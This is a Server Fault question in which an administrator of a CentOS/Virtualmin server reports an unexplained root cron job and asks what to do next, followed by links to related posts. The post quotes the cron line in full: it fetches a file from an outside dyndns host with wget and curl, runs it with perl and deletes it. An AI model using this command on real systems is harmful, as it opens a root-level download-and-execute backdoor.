Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

Posted by sr_1436048 on Server Fault See other posts from Server Fault or by sr_1436048
Published on 2014-08-23T21:08:42Z Indexed on 2014/08/23 22:23 UTC
Read the original article Hit count: 315

Filed under:

centos6

|

virtualmin

I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root:

cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc*

I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry.

The only thing I can think of is I recently installed Varnish Cache following this tutorial.

Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

© Server Fault or respective owner

Related posts about centos6

CentOS6 system-config-packages missing?

as seen on Server Fault - Search for 'Server Fault'
I've just installed CentOS 6 with gnome but the graphical package manager no longer appears to be there. I've tried installing both system-config-packages and pirut using Yum but neither finds anything. I've checked the package lists and it doesn't appear to be there. I looked at this list which… >>> More
cpan won't configure correctly on centos6, can't connect to internet

as seen on Server Fault - Search for 'Server Fault'
I have Centos 6 setup and have installed perl-CPAN. When I run cpan it takes me through the setup and ends by telling me it can't connect to the internet and to enter a mirror. I enter a mirror, but it still can't install the package. What am I doing wrong? If you're accessing the net via proxies… >>> More
File system loop detected in /var/named/chroot/var/named/ CentOS6.3

as seen on Server Fault - Search for 'Server Fault'
When I use find command on shell, I got the following error. find: File system loop detected; /var/named/chroot/var/named' is part of the same file system loop as/var/named'. I verified the inode number and it comes out the same as below. [root@serverone ~]# ls -ldi /var/named/chroot/var/named/… >>> More
Error In centos6 while compiling java classes,in tomcat6

as seen on Super User - Search for 'Super User'
I am newbie to Linux and Centos6. I bought server just now and want to deploy my web app in it. I am getting error while I am compiling my servlet classes. It showing me bash: javac: command not found when I try to compile my classes. But when I checked my class in '/usr/lib/jvm/java-1.6.0/bin .'I… >>> More
Getting error while install mod_wsgi on centos6.3 with python 2.7

as seen on Server Fault - Search for 'Server Fault'
In initially installed yum install mod_wsgi and i think it was linked with python 2.6 Now is there any way to link it with 2.7 I tried configuring from the source and i get this error apxs -c -I/usr/local/include/python2.7 -DNDEBUG mod_wsgi.c -L/usr/local/lib -L/usr/local/lib/python2.7/config… >>> More

Related posts about virtualmin

Virtualmin install failing on Rackspace Debian 5.0

as seen on Server Fault - Search for 'Server Fault'
Hi - Running the install.sh script as-is from Virtualmin (GPL version), I get a dovecot error after about 5.5mins of installation. I have tried this on several versions of the server - same error whether or not I run apt-get update +/- apt-get upgrade .... and whether or not I have the FQDN set. Here's… >>> More
Virtualmin install failing on Rackspace Debian 5.0

as seen on Server Fault - Search for 'Server Fault'
Hi - Running the install.sh script as-is from Virtualmin (GPL version), I get a dovecot error after about 5.5mins of installation. I have tried this on several versions of the server - same error whether or not I run apt-get update +/- apt-get upgrade .... and whether or not I have the FQDN set. Here's… >>> More
Virtualmin: "PHP execution via fcgid requires the Apache mod_fcgid module"

as seen on Server Fault - Search for 'Server Fault'
I have a CentOS server with Virtualmin on it. I have configured PHP the way I want it, using Apache mod_fastcgi. However, when I click "Re-check Config" in Virtualmin, I get PHP execution via fcgid requires the Apache mod_fcgid module This post says to change Default PHP execution mode to CGI, but… >>> More
Virtualmin "Command to run after making changes to a server" differentiate between add/edit/delete

as seen on Server Fault - Search for 'Server Fault'
I'm using Virtualmin, and I have a command set up under Virtualmin Module Config Actions Upon Server and user creation Command to run after making changes to a server This command is designed to perform a few additional steps after the account is set up. However, the action is called every time… >>> More
Postfix/ClamAV not stopping viruses under Virtualmin

as seen on Server Fault - Search for 'Server Fault'
I am using Virtualmin and have it set up to have Postfix scan incoming emails with ClamAV (using clamdscan) and delete any emails which contain a virus. However when I email myself the EICAR test string, it comes through just fine. I know ClamAV will report this file as a virus. How can I troubleshoot… >>> More